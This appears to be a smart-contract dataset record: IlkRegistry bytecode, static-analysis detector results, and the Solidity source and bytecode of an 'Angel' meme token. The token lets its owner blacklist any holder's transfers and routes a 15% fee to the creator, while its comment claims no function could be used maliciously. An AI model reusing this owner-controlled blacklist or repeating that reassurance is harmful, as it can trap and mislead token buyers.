50506040513d602081101561243357600080fd5b505173ffffffffffffffffffffffffffffffffffffffff16146124b757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f666c69702d77726f6e672d636174000000000000604482015290519081900360640190fd5b7f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff166336569e776040518163ffffffff1660e01b815260040160206040518083038186803b15801561253457600080fd5b505afa158015612548573d6000803e3d6000fd5b505050506040513d602081101561255e57600080fd5b505173ffffffffffffffffffffffffffffffffffffffff16146125e257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f666c69702d77726f6e672d766174000000000000604482015290519081900360640190fd5b60008381526003602090815260409182902060028101805473ffffffffffffffffffffffffffffffffffffffff8088167fffffffffffffffffffffffff0000000000000000000000000000000000000000928316179092556004909201805491861691909216179055815185815291517f176e1433f84712b82b982cc7a7b738797bd98e17b0882a6edc1a9a89e3dcbdfa9281900390910190a1505050565b600454600090821061269257600080fd5b6004828154811061269f57fe5b90600052602060002001549050919050565b6000818152600360208190526040909120015473ffffffffffffffffffffffffffffffffffffffff168061274657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f496c6b52656769737472792f696e76616c69642d696c6b000000000000000000604482015290519081900360640190fd5b8073ffffffffffffffffffffffffffffffffffffffff1663957aa58c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561278c57600080fd5b505afa1580156127a0573d6000803e3d6000fd5b505050506040513d60208110156127b657600080fd5b50511561282457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f496c6b52656769737472792f696c6b2d6c697665000000000000000000000000604482015290519081900360640190fd5b61282d82613361565b6040805183815290517f42f3b824eb9d522b949ff3d8f70db1872c46f3fc68b6df1a4c8d6aaebfcb67969181900360200190a15050565b336000908152602081905260409020546001146128e257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f6e6f742d617574686f72697a6564000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff811660008181526020818152604080832092909255815192835290517f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b9281900390910190a150565b336000908152602081905260409020546001146129be57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f6e6f742d617574686f72697a6564000000000000604482015290519081900360640190fd5b6129c781613361565b6040805182815290517f42f3b824eb9d522b949ff3d8f70db1872c46f3fc68b6df1a4c8d6aaebfcb67969181900360200190a150565b60009081526003602052604090206002015473ffffffffffffffffffffffffffffffffffffffff1690565b600360208181526000928352604092839020805460018083015460028085015496850154600486015460058701546006880180548c5161010098821615989098027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff011694909404601f81018a90048a0287018a01909b528a8652959973ffffffffffffffffffffffffffffffffffffffff94851699851698928516979490911695949291830182828015612b1e5780601f10612af357610100808354040283529160200191612b1e565b820191906000526020600020905b815481529060010190602001808311612b0157829003601f168201915b5050505060078301805460408051602060026001851615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190941693909304601f8101849004840282018401909252818152949594935090830182828015612bcc5780601f10612ba157610100808354040283529160200191612bcc565b820191906000526020600020905b815481529060010190602001808311612baf57829003601f168201915b5050505050905088565b6000908152600360208190526040909120015473ffffffffffffffffffffffffffffffffffffffff1690565b6060806000806000806000612c15613526565b600089815260036020818152604092839020835161010080820186528254825260018084015473ffffffffffffffffffffffffffffffffffffffff908116848701526002808601548216858a015296850154811660608501526004850154166080840152600584015460a08401526006840180548851928116159093027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190921695909504601f81018590048502860185019096528585529094919360c0860193909290830182828015612d2b5780601f10612d0057610100808354040283529160200191612d2b565b820191906000526020600020905b815481529060010190602001808311612d0e57829003601f168201915b505050918352505060078201805460408051602060026001851615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190941693909304601f8101849004840282018401909252818152938201939291830182828015612ddd5780601f10612db257610100808354040283529160200191612ddd565b820191906000526020600020905b815481529060010190602001808311612dc057829003601f168201915b5050509190925250505060c081015160e082015160a0830151602084015160408501516060860151608090960151949f939e50919c509a509850919650945092505050565b60006020819052908152604090205481565b33600090815260208190526040902054600114612eb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f6e6f742d617574686f72697a6564000000000000604482015290519081900360640190fd5b827f6e616d65000000000000000000000000000000000000000000000000000000001415612efc576000848152600360205260409020612ef69060060183836135c3565b50612f91565b827f73796d626f6c00000000000000000000000000000000000000000000000000001415612f40576000848152600360205260409020612ef69060070183836135c3565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613732602a913960400191505060405180910390fd5b50505050565b3360009081526020819052604090205460011461301557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f6e6f742d617574686f72697a6564000000000000604482015290519081900360640190fd5b817f6361740000000000000000000000000000000000000000000000000000000000141561308257600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8316179055613140565b817f73706f740000000000000000000000000000000000000000000000000000000014156130ef57600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8316179055613140565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180613707602b913960400191505060405180910390fd5b5050565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b336000908152602081905260409020546001146131de57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f6e6f742d617574686f72697a6564000000000000604482015290519081900360640190fd5b817f67656d0000000000000000000000000000000000000000000000000000000000141561325a57600083815260036020526040902060010180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8316179055611b13565b817f6a6f696e0000000000000000000000000000000000000000000000000000000014156130ef5760008381526003602081905260409091200180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8316179055611b13565b60408051602080825281830190925260609182919060208201818036833701905050905060005b602081101561335a5783816020811061331357fe5b1a60f81b82828151811061332357fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506001016132fe565b5092915050565b600081815260036020526040812054600480549192917fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81019081106133a357fe5b9060005260206000200154905080600483815481106133be57fe5b600091825260208083209091019290925582815260039091526040902082905560048054806133e957fe5b6000828152602080822083017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff908101839055909201909255848252600390819052604082208281556001810180547fffffffffffffffffffffffff0000000000000000000000000000000000000000908116909155600282018054821690559181018054831690556004810180549092169091556005810182905590613493600683018261364f565b6134a160078301600061364f565b5050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106134e957805160ff1916838001178555613516565b82800160010185558215613516579182015b828111156135165782518255916020019190600101906134fb565b50613522929150613696565b5090565b60405180610100016040528060008152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160608152602001606081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10613622578280017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00823516178555613516565b82800160010185558215613516579182015b82811115613516578235825591602001919060010190613634565b50805460018160011615610100020316600290046000825580601f106136755750613693565b601f0160209004906000526020600020908101906136939190613696565b50565b61096d91905b80821115613522576000815560010161369c56fe496c6b52656769737472792f66696c652d756e7265636f676e697a65642d706172616d2d75696e74323536496c6b52656769737472792f696c6b2d6e6f742d6c6976652d7573652d72656d6f76652d696e7374656164496c6b52656769737472792f66696c652d756e7265636f676e697a65642d706172616d2d61646472657373496c6b52656769737472792f66696c652d756e7265636f676e697a65642d706172616d2d737472696e67496c6b52656769737472792f696e76616c69642d6a6f696e2d616461707465722d766174496c6b52656769737472792f616461707465722d6e6f742d617574686f72697a6564a2646970667358221220bab2cab9be26382a6cc8f5bab6e04a5468398d9cc4b02e60dfb52eadb2826b1c64736f6c63430006070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
7,410
0x634d7ce69f9319fe7be7d83871d8044d3466040c
/** *Submitted for verification at Etherscan.io on 2021-11-30 */ /** Angel 👼 From the pool party, to splish splashing, we end up with the angel emoji. ✅ 1,000,000 Total Supply ✅ 15% LP Fee (party gets sent to creator wallet to buy back ETH) ✅ No buy limit ✅ 1 month liquidity lock ✅ No renounced ownership, no contract functions I could use to do anything malicious anyway. When I renounce the owner wallet will be the dead address, so I won't be able to do buy backs. https://t.me/AngelTokenETH **/ /** // SPDX-License-Identifier: Unlicensed **/ pragma solidity ^0.8.6; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function approve(address to, uint value) external returns (bool); } contract Angel is Context, IERC20, Ownable { string private constant _name = unicode"👼"; string private constant _symbol = "ANGEL"; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping(address => uint256)) private _allowances; mapping (address => bool) private bots; mapping (address => uint) private cooldown; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; IUniswapV2Router02 private uniswapV2Router; address[] private _excluded; address private c; address private wallet1; address private uniswapV2Pair; address private WETH; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee; uint256 private _LiquidityFee; uint64 private buyCounter; uint8 private constant _decimals = 9; uint16 private maxTx; bool private tradingOpen; bool private inSwap; bool private swapEnabled; event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 ethToOwner); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable _wallet1) { c = address(this); wallet1 = _wallet1; _rOwned[c] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[c] = true; _isExcludedFromFee[wallet1] = true; excludeFromReward(owner()); excludeFromReward(c); excludeFromReward(wallet1); emit Transfer(address(0),c,_tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()] - amount); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount / currentRate; } function nofees() private { _taxFee = 0; _LiquidityFee = 0; } function basefees() private { _taxFee = 0; _LiquidityFee = 15; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to]); basefees(); if (from != owner() && to != owner() && tradingOpen) { if (!inSwap) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && !inSwap) { if (buyCounter < 100) require(amount <= _tTotal * maxTx / 1000); buyCounter++; } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && !inSwap) { if (swapEnabled) { uint256 contractTokenBalance = balanceOf(c); if (contractTokenBalance > balanceOf(uniswapV2Pair) * 1 / 10000) { swapAndLiquify(contractTokenBalance); } } } if (!inSwap) { if (buyCounter == 2) maxTx = 1000; //100% if (buyCounter == 20) maxTx = 1000; //100% if (buyCounter == 30) { maxTx = 1000; //100% } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || inSwap) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { swapTokensForEth(contractTokenBalance); uint256 balance = c.balance / 5; sendETHToFee(balance*4); sendETHToOwner(balance); emit SwapAndLiquify(contractTokenBalance, balance*4, balance); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(c, address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( c, tokenAmount, 0, 0, owner(), block.timestamp ); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = c; path[1] = WETH; _approve(c, address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, c, block.timestamp); } function sendETHToFee(uint256 ETHamount) private { payable(wallet1).transfer(ETHamount); } function sendETHToOwner(uint256 ETHamount) private { payable(owner()).transfer(ETHamount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); WETH = uniswapV2Router.WETH(); _approve(c, address(uniswapV2Router), ~uint256(0)); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(c, WETH); uniswapV2Router.addLiquidityETH{value: c.balance}(c,balanceOf(c),0,0,owner(),block.timestamp); maxTx = 1000; // 100% IERC20(uniswapV2Pair).approve(address(uniswapV2Router),~uint256(0)); tradingOpen = true; swapEnabled = true; } function manualswap() external { uint256 contractBalance = balanceOf(c); swapTokensForEth(contractBalance); } function manualsend() external { uint256 contractETHBalance = c.balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) nofees(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity * currentRate; _rOwned[c] = _rOwned[c] + rLiquidity; _tOwned[c] = _tOwned[c] + tLiquidity; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal - rFee; _tFeeTotal = _tFeeTotal + tFee; } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount, _taxFee, _LiquidityFee); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 LiquidityFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount * taxFee / 100; uint256 tLiquidity = tAmount * LiquidityFee / 100; uint256 tTransferAmount = tAmount - tFee - tLiquidity; return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount * currentRate; uint256 rFee = tFee * currentRate; uint256 rLiquidity = tLiquidity * currentRate; uint256 rTransferAmount = rAmount - rFee - rLiquidity; return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply / tSupply; } function excludeFromReward(address addr) internal { require(addr != address(uniswapV2Router), 'ERR: Can\'t exclude Uniswap router'); require(!_isExcluded[addr], "Account is already excluded"); if(_rOwned[addr] > 0) { _tOwned[addr] = tokenFromReflection(_rOwned[addr]); } _isExcluded[addr] = true; _excluded.push(addr); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excluded[i]]; tSupply = tSupply - _tOwned[_excluded[i]]; } if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063b515566a11610059578063b515566a14610325578063c3c8cd801461034e578063c9567bf914610365578063dd62ed3e1461037c576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063273123b7116100c6578063273123b7146101d3578063313ce567146101fc5780636fc3eaec1461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b604051610125919061389e565b60405180910390f35b34801561013a57600080fd5b506101556004803603810190610150919061348b565b6103f6565b6040516101629190613883565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d91906139c0565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190613438565b610423565b6040516101ca9190613883565b60405180910390f35b3480156101df57600080fd5b506101fa60048036038101906101f5919061339e565b6104db565b005b34801561020857600080fd5b506102116105cb565b60405161021e9190613a6c565b60405180910390f35b34801561023357600080fd5b5061023c6105d4565b005b34801561024a57600080fd5b506102656004803603810190610260919061339e565b61061e565b60405161027291906139c0565b60405180910390f35b34801561028757600080fd5b50610290610709565b005b34801561029e57600080fd5b506102a761085c565b6040516102b491906137b5565b60405180910390f35b3480156102c957600080fd5b506102d2610885565b6040516102df919061389e565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a919061348b565b6108c2565b60405161031c9190613883565b60405180910390f35b34801561033157600080fd5b5061034c600480360381019061034791906134cb565b6108e0565b005b34801561035a57600080fd5b50610363610a0a565b005b34801561037157600080fd5b5061037a610a45565b005b34801561038857600080fd5b506103a3600480360381019061039e91906133f8565b6110d3565b6040516103b091906139c0565b60405180910390f35b60606040518060400160405280600481526020017ff09f91bc00000000000000000000000000000000000000000000000000000000815250905090565b600061040a61040361115a565b8484611162565b6001905092915050565b600066038d7ea4c68000905090565b600061043084848461132d565b6104d08461043c61115a565b84600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061048661115a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104cb9190613c0e565b611162565b600190509392505050565b6104e361115a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056790613900565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631905061061b81611cb2565b50565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156106b957600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610704565b610701600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1e565b90505b919050565b61071161115a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461079e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079590613900565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f414e47454c000000000000000000000000000000000000000000000000000000815250905090565b60006108d66108cf61115a565b848461132d565b6001905092915050565b6108e861115a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096c90613900565b60405180910390fd5b60005b8151811015610a065760016004600084848151811061099a57610999613df9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109fe90613d21565b915050610978565b5050565b6000610a37600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b9050610a4281611d85565b50565b610a4d61115a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad190613900565b60405180910390fd5b6012600a9054906101000a900460ff1615610b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2190613980565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610be757600080fd5b505afa158015610bfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c1f91906133cb565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cb0600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600019611162565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1857600080fd5b505afa158015610d2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5091906133cb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401610dce9291906137d0565b602060405180830381600087803b158015610de857600080fd5b505af1158015610dfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2091906133cb565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f26600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b600080610f3161085c565b426040518863ffffffff1660e01b8152600401610f5396959493929190613822565b6060604051808303818588803b158015610f6c57600080fd5b505af1158015610f80573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fa59190613541565b5050506103e8601260086101000a81548161ffff021916908361ffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b81526004016110489291906137f9565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190613514565b5060016012600a6101000a81548160ff02191690831515021790555060016012600c6101000a81548160ff021916908315150217905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c990613960565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611242576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611239906138e0565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161132091906139c0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffff